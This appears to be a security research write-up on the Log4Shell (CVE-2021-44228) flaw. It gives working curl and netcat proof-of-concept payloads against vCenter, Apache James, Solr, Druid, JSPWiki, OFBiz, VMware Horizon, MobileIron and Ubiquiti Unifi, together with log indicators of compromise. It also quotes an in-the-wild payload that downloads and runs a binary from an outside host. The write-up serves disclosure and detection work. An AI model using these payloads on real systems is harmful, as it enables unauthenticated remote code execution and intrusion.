2021-12-21T15:14:27.726Z pool-9-thread-1 WARN ph.phservice.push.telemetry.DefaultTelemetryLevelService Failed to discover telemetry level via the manifest for collector: ${jndi:ldap://10.0.0.3:1270/l}. Enable 'debug' level logging to see the stack trace.
Every exploit after that will trigger execution of the payload, but will not be logged in analytics.log
. The only logs those messages will generate are errors generated by the callback. For instance, when the LDAP connection timed out in our test setup the following log was added to /var/log/vmware/analytics/analytics-runtime.log.stdout
.
021-12-21 14:55:40,536 pool-9-thread-4 WARN Error looking up JNDI resource [ldap://10.0.0.3:1270/l]. javax.naming.NamingException: LDAP response read timed out, timeout used:-1ms. at com.sun.jndi.ldap.Connection.readReply(Connection.java:479) at com.sun.jndi.ldap.LdapClient.ldapBind(LdapClient.java:365) at com.sun.jndi.ldap.LdapClient.authenticate(LdapClient.java:192) at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2791) at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319) at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60) at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202) at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94) at javax.naming.InitialContext.lookup(InitialContext.java:417)
Write Up
We found this endpoint while analyzing a payload found in Rapid7’s Heisenberg data. The payload we were analyzing was this one:
POST /analytics/telemetry/ph/api/hyper/send?_c&_i=${jndi:ldap://81.30.157.43:1389/Basic/Command/Base64/Y2QgL3RtcDt3Z2V0IGh0dHA6Ly8xNTUuOTQuMTU0LjE3MC9iYmI7Y3VybCAtTyBodHRwOi8vMTU1Ljk0LjE1NC4xNzAvYmJiO2NobW9kICt4IGJiYjsuL2JiYg==} HTTP/1.1
We recognized the URI as a VCenter endpoint, so we attempted to validate the payload in our test environment. That payload does not work. In fact, Apache Coyote will not allow any curly brace characters ({ or }) in the HTTP request URI. However, we noticed that VCenter was generating log entries specific to the _c
variable. Simply inserting the payload there and URL encoding the curly braces resulted in the payload landing.
Apache James Vulnerable to CVE-2021-44228
The SMTP exploit was originally posted on Twitter by David Litchfield. The POP3 version was written by Rapid7.
Severity
Apache James is trivially exploitable by a remote and unauthenticated attacker.
Proof of Concept Exploit
SMTP
albinolobster@ubuntu:~$ echo 🦞 > email.txt albinolobster@ubuntu:~$ curl --url "smtp://localhost" --user "test:test" --mail-from '${jndi:ldap://localhost:1270/a}@gmail.com' --mail-rcpt 'test' --upload-file email.txt
POP3
albinolobster@ubuntu:~$ nc localhost 110 +OK <-695462989.1639426418187@ubuntu> POP3 server (JAMES POP3 Server ) ready USER ${jndi:ldap://10.0.0.6:1270/abc} +OK PASS lol
Indicator of Compromise
From james_transport-protocols.log
:
13-Dec-2021 11:28:58.637 INFO [smtpserver-executor-22] org.apache.james.protocols.smtp.core.MailCmdHandler.doMAILFilter:208 - Error parsing sender address: <${jndi:ldap://localhost:1270/a}@gmail.com> javax.mail.internet.AddressException: Invalid character in local-part (user account) at position 7 in '${jndi:ldap://localhost:1270/a}@gmail.com' at org.apache.james.core.MailAddress.parseUnquotedLocalPart(MailAddress.java:522) ~[james-core-3.6.0.jar:3.6.0] at org.apache.james.core.MailAddress.parseUnquotedLocalPartOrThrowException(MailAddress.java:248) ~[james-core-3.6.0.jar:3.6.0] at org.apache.james.core.MailAddress.<init>(MailAddress.java:189) ~[james-core-3.6.0.jar:3.6.0] at org.apache.james.protocols.smtp.core.MailCmdHandler.toMaybeSender(MailCmdHandler.java:224) ~[protocols-smtp-3.6.0.jar:3.6.0] at org.apache.james.protocols.smtp.core.MailCmdHandler.doMAILFilter(MailCmdHandler.java:204) [protocols-smtp-3.6.0.jar:3.6.0] at org.apache.james.protocols.smtp.core.MailCmdHandler.doFilterChecks(MailCmdHandler.java:130) [protocols-smtp-3.6.0.jar:3.6.0] at org.apache.james.protocols.smtp.core.AbstractHookableCmdHandler.onCommand(AbstractHookableCmdHandler.java:72) [protocols-smtp-3.6.0.jar:3.6.0] at org.apache.james.protocols.smtp.core.MailCmdHandler.onCommand(MailCmdHandler.java:86) [protocols-smtp-3.6.0.jar:3.6.0] at org.apache.james.protocols.smtp.core.MailCmdHandler.onCommand(MailCmdHandler.java:53) [protocols-smtp-3.6.0.jar:3.6.0] at org.apache.james.protocols.api.handler.CommandDispatcher.dispatchCommandHandlers(CommandDispatcher.java:162) [protocols-api-3.6.0.jar:3.6.0] at org.apache.james.protocols.api.handler.CommandDispatcher.onLine(CommandDispatcher.java:143) [protocols-api-3.6.0.jar:3.6.0] at org.apache.james.protocols.netty.BasicChannelUpstreamHandler.messageReceived(BasicChannelUpstreamHandler.java:152) [protocols-netty-3.6.0.jar:3.6.0] at org.apache.james.smtpserver.netty.SMTPChannelUpstreamHandler.messageReceived(SMTPChannelUpstreamHandler.java:61) [james-server-protocols-smtp-3.6.0.jar:3.6.0] at org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:?] at org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:?] at org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:?] at org.jboss.netty.channel.SimpleChannelUpstreamHandler.messageReceived(SimpleChannelUpstreamHandler.java:124) [netty-3.10.6.Final.jar:?] at org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:?] at org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:?] at org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:?] at org.jboss.netty.handler.execution.ChannelUpstreamEventRunnable.doRun(ChannelUpstreamEventRunnable.java:43) [netty-3.10.6.Final.jar:?] at org.jboss.netty.handler.execution.ChannelEventRunnable.run(ChannelEventRunnable.java:67) [netty-3.10.6.Final.jar:?] at org.jboss.netty.handler.execution.OrderedMemoryAwareThreadPoolExecutor$ChildExecutor.run(OrderedMemoryAwareThreadPoolExecutor.java:314) [netty-3.10.6.Final.jar:?] at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?] at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?] at java.lang.Thread.run(Thread.java:829) [?:?]
Pop3 errors in james.log
:
13-Dec-2021 12:14:04.880 INFO [pop3server-executor-81] org.apache.james.user.lib.UsersRepositoryImpl.lambda$test$1:130 - Could not retrieve user Username{localPart=${jndi:ldap://10.0.0.6:1270/abc}, domainPart=Optional.empty}. Password is unverified. 13-Dec-2021 12:18:03.644 INFO [pop3server-executor-81] org.apache.james.pop3server.core.PassCmdHandler.auth:105 - Bad credential supplied for ${jndi:ldap://10.0.0.6:1270/abc} with remote address localhost/127.0.0.1
Write Up
David Litchfield posted the original SMTP exploit showing the mail server Apache James is trivially exploitable via the log4j vulnerability. The server logs a lot of information, and is therefore vulnerable from a variety of vectors. Above we posted an additional POP3 vector. Although we did not immediately find an unauthenticated IMAP vector.
Apache Solr Vulnerable to CVE-2021-44228
Severity
Apache Solr is trivially exploitable by a remote and unauthenticated attacker when in its default configuration.
Proof of Concept Exploit
By default, authentication is not enabled. When in that state, the following will successfully exploit the target:
curl 'http://localhost:8983/solr/admin/cores?action=CREATE&name=$%7Bjndi:ldap://10.0.0.6:1270/abc%7D&wt=json'
Indicator of Compromise
This log entry is from /server/logs
file:
2021-12-13 22:30:49.955 INFO (qtp1052253947-20) [ ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={name=${jndi:ldap://10.0.0.6:1270/abc}&action=CREATE&wt=json} status=400 QTime=10
This is actually followed by further entries with the lead in ‘${jndi:’ removed.
2021-12-13 22:33:18.277 INFO (qtp1052253947-22) [ x:ldap://10.0.0.6:1270/abc] o.a.s.h.a.CoreAdminOperation core create command name=ldap://10.0.0.6:1270/abc&action=CREATE&wt=json 2021-12-13 22:33:18.278 ERROR (qtp1052253947-22) [ ] o.a.s.h.RequestHandlerBase org.apache.solr.common.SolrException: Error CREATEing SolrCore 'ldap://10.0.0.6:1270/abc': Unable to create core [ldap://10.0.0.6:1270/abc] Caused by: Invalid core: [ldap://10.0.0.6:1270/abc]. core names must consist entirely of periods, underscores, hyphens, and alphanumerics as well not start with a hyphen => org.apache.solr.common.SolrException: Error CREATEing SolrCore 'ldap://10.0.0.6:1270/abc': Unable to create core [ldap://10.0.0.6:1270/abc] Caused by: Invalid core: [ldap://10.0.0.6:1270/abc]. core names must consist entirely of periods, underscores, hyphens, and alphanumerics as well not start with a hyphen at org.apache.solr.core.CoreContainer.create(CoreContainer.java:1372) org.apache.solr.common.SolrException: Error CREATEing SolrCore 'ldap://10.0.0.6:1270/abc': Unable to create core [ldap://10.0.0.6:1270/abc] Caused by: Invalid core: [ldap://10.0.0.6:1270/abc]. core names must consist entirely of periods, underscores, hyphens, and alphanumerics as well not start with a hyphen
Write-up
The exploit above abuses a log entry when the user fails to create a new Solr core. This is an administrative function and the attack is mitigated if authentication is configured. Unfortunately, that isn’t a trivial task.
When authentication is enabled, there is no immediately obvious (at this time) exploit vector for the unauthenticated attacker. However, Apache Solr is a good size code base and there is a fair amount of logging. A secondary, non-administrative vector wouldn’t be a surprise.
Apache Druid Vulnerable to CVE-2021-44228
Severity
Apache Druid is trivially exploitable by a remote and unauthenticated attacker when in its default configuration.
Proof of Concept Exploit
By default, authentication is not enabled. When in that state, the following will successfully exploit the target:
curl -vv -X DELETE 'http://localhost:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2flocalhost:1270%2fabc%7d'
Indicator of Compromise
2021-12-14T15:23:26,952 WARN [qtp91273747-111] org.apache.druid.server.lookup.cache.LookupCoordinatorManager - Requested delete of tier [${jndi:ldap://localhost:1270/abc}] that does not exist!
Write-up
Apache Druid spins up a number of interfaces, one of which is an HTTP “unified-console”. The console, by default, doesn’t require authentication. This interface does not do a lot of logging, and when it does it’s typically for extreme cases and doesn’t always include attacker controlled data. One reliable function is the deleteTier
function in LookupCoordinatorManager.java
:
public boolean deleteTier(final String tier, AuditInfo auditInfo) { Preconditions.checkState(lifecycleLock.awaitStarted(5, TimeUnit.SECONDS), "not started"); synchronized (this) { final Map<String, Map<String, LookupExtractorFactoryMapContainer>> priorSpec = getKnownLookups(); if (priorSpec == null) { LOG.warn("Requested delete tier [%s]. But no lookups exist!", tier); return false; } final Map<String, Map<String, LookupExtractorFactoryMapContainer>> updateSpec = new HashMap<>(priorSpec); if (updateSpec.remove(tier) == null) { LOG.warn("Requested delete of tier [%s] that does not exist!", tier); return false; } return configManager.set(LOOKUP_CONFIG_KEY, updateSpec, auditInfo).isOk(); }
Above we can see two log messages that will log the requested tier
. An attacker can reach that path via an HTTP DELETE request to /druid/coordinator/v1/lookups/config/tier_variable
(see LookupCoordinatorResource.java
). The attacker only needs to form the log4j payload to conform to the server’s expectations regarding special characters. {
, }
, and /
need to be URL encoded, but otherwise that’s it. Again, the final form is:
curl -vv -X DELETE 'http://localhost:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2flocalhost:1270%2fabc%7d'
Apache JSPWiki Vulnerable to CVE-2021-44228
Severity
Apache JSPWiki is trivially exploitable by a remote and unauthenticated attacker.
Proof of Concept Exploit
curl -vv http://localhost:8080/JSPWiki/wiki/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/
Indicator of Compromise
From catalina.out:
[INFO ] 2021-12-14 11:21:15.519 [http-nio-8080-exec-3] o.a.w.WikiServlet - Request for page: ${jndi:ldap:${::-/}/10.0.0.6:1270/abc}/
Write-up
Apache JSPWiki’s WikiServlet.java handles HTTP request to /wiki/*
. From web.xml
:
<servlet-mapping> <servlet-name>WikiServlet</servlet-name> <url-pattern>/wiki/*</url-pattern> </servlet-mapping>
The servlet logs every HTTP GET request it receives.
@Override public void doGet( final HttpServletRequest req, final HttpServletResponse res ) throws IOException, ServletException { String pageName = URLConstructor.parsePageFromURL( req, m_engine.getContentEncoding() ); log.info( "Request for page: " + pageName ); if( pageName == null ) { pageName = m_engine.getFrontPage(); // FIXME: Add special pages as well } final String jspPage = m_engine.getManager( URLConstructor.class ).getForwardPage( req ); final RequestDispatcher dispatcher = req.getRequestDispatcher( "/" + jspPage + "?page=" + m_engine.encodeName( pageName ) + "&" + req.getQueryString() ); dispatcher.forward( req, res ); }
As such, it’s trivial to introduce the log4j payload. The only complication is how Tomcat handles ‘//’, but we’ve previously dealt with this in Struts2 (variant 2). As such the final payload looks like:
curl -vv http://localhost:8080/JSPWiki/wiki/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/
Apache OFBiz Vulnerable to CVE-2021-44228
Severity
Apache OFBiz is trivially exploitable by a remote and unauthenticated attacker.
Proof of Concept Exploit
curl --insecure -vv -H "Cookie: OFBiz.Visitor=\${jndi:ldap://localhost:1270/abc}" https://localhost:8443/webtools/control/main
Indicator of Compromise
From ofbiz.log:
2021-12-14 12:50:07,043 |sse-nio-8443-exec-16 |VisitHandler |I| Found visitorId [${jndi:ldap://localhost:1270/abc}] in cookie 2021-12-14 12:50:07,045 |sse-nio-8443-exec-16 |VisitHandler |I| The visitorId [${jndi:ldap://localhost:1270/abc}] found in cookie was invalid, creating new Visitor with ID [10010]
Write-up
The Apache OFBiz framework assigns the “OFBiz.Visitor” cookie to new visitors. VisitHandler.java looks for this cookie value and logs it if it is present:
// first try to get the current ID from the visitor cookie String cookieVisitorId = null; Cookie[] cookies = request.getCookies(); if (Debug.verboseOn()) { Debug.logVerbose("Cookies:" + String.join(",", Arrays.stream(cookies).toArray(String[]::new)), MODULE); } if (cookies != null) { for (int i = 0; i < cookies.length; i++) { if (cookies[i].getName().equals(VISITOR_COOKIE_NAME)) { cookieVisitorId = cookies[i].getValue(); break; } } } if (Debug.infoOn()) { Debug.logInfo("Found visitorId [" + cookieVisitorId + "] in cookie", MODULE); }
The default setting for log4j in the framework is “Info” so the if statement passes and the provided cookie is logged.
This is another application that is hosted on Tomcat, so the attacker does have to discover the base URI, but once discovered exploitation is trivial.
Manage Engine Products
We analyzed Manage Engine ADAudit Plus after the company released a patch. We don’t believe ADAudit Plus was vulnerable to log4shell. The product was using log4j 1.2.15 before the company produced a patch. We looked at a handful of other Manage Engine products including ADManager Plus, Desktop Centeral, ADSelfService Plus, and ServiceDesk Plus. All appeared to use log4j 1.x and are therefore not vulnerable.
VMWare Horizon Server Vulnerable to CVE-2021-44228
This analysis was made possible thanks to @rwincey.
Severity
VMWare Horizon Server is trivially exploitable by a remote and unauthenticated attacker.
Proof of Concept Exploit
curl -vv -H "Accept-Language: \${jndi:ldap://10.0.0.6:1270/lol}" --insecure https://10.0.0.32/portal/info.jsp
Indicator of Compromise
From C:\ProgramData\VMware\VDM\logs\debug-yyyy-mm-dd-*.txt
2021-12-23T09:33:39.417-05:00 DEBUG (0FA8-0FC8) <console-redirection> [ws_TomcatService] STDOUT: DEBUG 2021-12-23T09:33:31,250 690043464 com.vmware.vdi.installer.ui.utils.InstallerUtils [ajp-nio-127.0.0.1-8009-exec-6] Accept-Language: ${jndi:ldap://10.0.0.6:1270/lol}
Write-up
The vulnerable code can be found in InstallerUtils.class
within portal.war
:
public static String getWebClientInfo(HttpServletRequest request, HttpServletResponse response) { Dict dict = getCurrentDict(request, "portal-version"); JsonObjectBuilder json = Json.createObjectBuilder(); String acceptLanguage = request.getHeader("Accept-Language"); if (null == acceptLanguage) acceptLanguage = "en-US"; json.add("acceptLanguage", acceptLanguage); if (log.isDebugEnabled()) log.debug("Accept-Language: " + acceptLanguage);
The snippet above shows VMWare Horizon reading the contents of the attacker provided Accept-Language
HTTP header and logging the value if “debug” is enabled. We found that “debug” is always enabled.
VMWare Horizon does provide a tool to change the logging levels. Here is an example of the CLI interface:
Set log levels for VMware Horizon (8.4) Checking the VMware Horizon role this computer plays by examining installed MSIs... This computer has 'VMware Horizon Connection Server' installed Please select a log level. Note that increased logging will slow your connection broker down and will generate much larger log files. 1. View Info 2. View Debug 3. View Full or... 0. Reset to installation defaults Choice [blank to exit]:
Setting the value to 1
should, in theory, prevent the vulnerable logging method from being executed. However, in our testing, we found that the vulnerable code is invoked no matter the user configured log level.
Note that there are reports of this endpoint being exploited in the wild. See this tweet from @1ZRR4H for additional details.
WebLogic Unconfirmed
Oracle released an advisory indicating that WebLogic server is vulnerable to log4j exploits. Furthermore, @bad_packets tweeted a payload that targeted port 7001, leading us to believe that WebLogic might be exploitable. However, we were not able to confirm the exploitability of WebLogic.
We immediately ruled out version 10.3.6 because it only has the 1.x versions of log4j. Versions 12.x – 14.1.1 have multiple versions of log4j. They ship with the 1.x version, the 2.x version, and their own com.bea.core.apache.log4j version. So we need to find usage of the 2.x libraries, but we did not find any.
The most obvious location for attackers to go after is the access log, and, in fact, that is where the payload that @bad_packets tweeted would land. Simply using this curl command will land the attacker in the access log.
curl -vv --path-as-is "http://10.0.0.7:7001/\$\{jndi:ldap://10.0.0.3:1270/a\}"
Will generate the log entry in access.log
:
10.0.0.3 - - [16/Dec/2021:10:52:12 -0500] "GET /${jndi:ldap://10.0.0.3:1270/a} HTTP/1.1" 404 1164
But that doesn’t generate a callback. Presumably, that part of the code base is still using the 1.x version of log4j.
Similarly, we tried triggering the callback via the management console by generating an exception. Unfortunately, this didn’t yield a callback either.
<Dec 15, 2021 4:55:17,256 PM EST> <Warning> <Management> <BEA-141191> <The prepare phase of the configuration update failed with an exception. weblogic.descriptor.BeanUpdateRejectedException: ${jndi:ldap://10.0.0.3/abc} at weblogic.server.channels.ChannelValidationListener.checkChannelConsistencyForUpdatedConfig(ChannelValidationListener.java:134) at weblogic.server.channels.ChannelValidationListener.prepareUpdate(ChannelValidationListener.java:47) at weblogic.descriptor.internal.DescriptorImpl$Update.prepare(DescriptorImpl.java:684) at weblogic.descriptor.internal.DescriptorImpl.prepareUpdateDiff(DescriptorImpl.java:257) at weblogic.management.provider.internal.RuntimeAccessDeploymentReceiverService.prepareUpdateDiff(RuntimeAccessDeploymentReceiverService.java:2137) Truncated. see log file for complete stacktrace Caused By: weblogic.management.configuration.ConfigurationException: ${jndi:ldap://10.0.0.3/abc} at weblogic.protocol.configuration.ChannelHelper.parseInetAddress(ChannelHelper.java:133) at weblogic.protocol.configuration.ChannelHelper.parseServerListenAddress(ChannelHelper.java:259) at weblogic.protocol.configuration.ChannelHelper.checkConsistency(ChannelHelper.java:67) at weblogic.server.channels.ChannelValidationListener.checkChannelConsistencyForUpdatedConfig(ChannelValidationListener.java:131) at weblogic.server.channels.ChannelValidationListe
The use of log4j 2.x is presumably in newer sections of WebLogic. The two vectors we tested are carried over from older versions of WebLogic that exclusively used log4j 1.x. Since the APIs between the log4j versions are slightly different, the developers presumably didn’t put in the effort to convert their old logging messages to the new library.
While we aren’t ruling out WebLogic being vulnerable to this attack, we don’t believe the most obvious vectors are viable.
MobileIron Vulnerable to CVE-2021-44228
Severity
MobileIron is trivially exploitable by a remote and unauthenticated attacker.
Proof of Concept Exploit
Note that @rwincey has previously posted the HTTP payload to their GitHub repository. However, after looking at it we’ve come up with this curl
command as the minimized proof of concept:
curl -vv --insecure -H "Referer: https://10.0.0.20/mifs/user/login.jsp" -d "j_username=\${jndi:ldap://10.0.0.6:1270}&j_password=lol&logincontext=employee" https://10.0.0.20/mifs/j_spring_security_check
Note that the Referer
field must be valid and the log4j payload is in the j_username
parameter.
Indicator of Compromise
From the MobileIron command line interface, you can find indicators by executing:
show log mifs.log
And:
show log catalina.out
The mifs.log log contains a variety of log entries associated with the https://<host>/mifs
endpoint. The proof of concept above gets logged to mifs.log
because of a failed login attempt. So anything like this is suspicious:
2021-12-20 21:44:41,385 ERROR [LocalHostAuthenticationProvider.authenticate:76] (http-nio-127.0.0.1-8081-exec-5:[]) {pathInfo=null} Cannot find user '${jndi:ldap://10.0.0.6:1270}' 2021-12-20 21:50:12,486 INFO [MIUserServiceImpl.updateFailedLoginStatus:3436] (http-nio-127.0.0.1-8081-exec-5:[]) {pathInfo=null} User ${jndi:ldap://10.0.0.6:1270} failed to login attempt 1 from ipaddress 10.0.0.6 2021-12-20 21:50:12,491 WARN [MIUserServiceImpl.saveFailedLoginAttempts:2987] (http-nio-127.0.0.1-8081-exec-5:[]) {pathInfo=null} No User found with username ${jndi:ldap://10.0.0.6:1270}
Catalina.out is where you’ll find the result of the log4j attack. In our test setup, the connection gets killed by netcat
, and results in this output:
2021-12-20 21:50:12,492 http-nio-127.0.0.1-8081-exec-5 WARN Error looking up JNDI resource [ldap://10.0.0.6:1270]. javax.naming.CommunicationException: 10.0.0.6:1270 [Root exception is java.net.ConnectException: Connection refused (Connection refused)] at com.sun.jndi.ldap.Connection.<init>(Connection.java:236) at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137) at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1609) at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2749) at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319) at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60) at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202) at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94) at javax.naming.InitialContext.lookup(InitialContext.java:417) at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172) at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56) etc
This is only one example of exploiting MobileIron, and it would not be surprising if there were a number of others. Prioritize patching this as soon as possible.
Ubiquiti Unifi Controller Vulnerable to CVE-2021-44228
We believe the first proof of concept for the Ubiquiti Unifi Controller was posted by @sprocket_ed.
Severity
Ubiquiti Unifi Controller before version 6.5.54 is trivially exploitable by a remote and unauthenticated attacker.
Proof of Concept Exploit
curl -vv --insecure -d '{"username":"admin","password":"lolwat","remember":"${jndi:ldap://10.0.0.6:1270/lol}","strict":true}' https://10.0.0.4:8443/api/login
Indicator of Compromise
The following log entry is from the Windows version of Ubiquiti Unifi, and can be found in base_install_directory/Ubiquiti Unifi/logs/server
:
[2021-12-23T11:43:08,301] <webapi-15> WARN sanitize - Pattern not matched, key:value "'remember':'${jndi:ldap://10.0.0.6:1270/lol}'" invalid
Write-up
The log entry is generated by the method o00000
in OoOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.class
from ace.jar
.
private void o00000(Pattern paramPattern, String paramString1, String paramString2) { if (paramString2 == null) { öÔÓ000.warn("Value empty, key: {}", paramString1); throw Sanitizable.InvalidPayload.String; } if (StringUtils.isNotEmpty(paramPattern.toString()) && !paramPattern.matcher(paramString2).matches()) { öÔÓ000.warn("Pattern not matched, key:value \"'{}':'{}'\" invalid", paramString1, paramString2); throw new Sanitizable.InvalidPayload(Sanitizable.InvalidPayload.String.getMessage(), new java.lang.Object[] { "validationError", new ValidationError(paramPattern.toString(), paramString1) }); } }
The above code is called by ApiServlet.class
to sanitize the attacker’s HTTP payload. Specifically, the authenticationRequest.sanitize()
call below triggers the logic to examine the attacker’s input.
private A super(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException { java.lang.String str1 = paramHttpServletRequest.getMethod(); java.lang.String str2 = paramHttpServletRequest.getRequestURI(); s s = C.ö00000(); newsuper newsuper = C.ÖÒ0000(); String str = C.ØÒ0000(); if ("/api/login".equals(str2) && "POST".equals(str1)) { AuthenticationRequest authenticationRequest = (AuthenticationRequest)X.parseJSON(AuthenticationRequest.class, FileCopyUtils.copyToString(paramHttpServletRequest.getReader())); authenticationRequest.sanitize();
The error occurs when the server is attempting to validate that the provided remember
variable is a boolean (true or false). However, the server finds a log4j payload instead and logs this as an error. Obviously that means the strict
variable could also be used as a log4j payload entry point as well:
curl -vv --insecure -d '{"username":"admin","password":"lolwat","remember":true,"strict":"${jndi:ldap://10.0.0.6:1270/lol}"}' https://10.0.0.4:8443/api/login
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: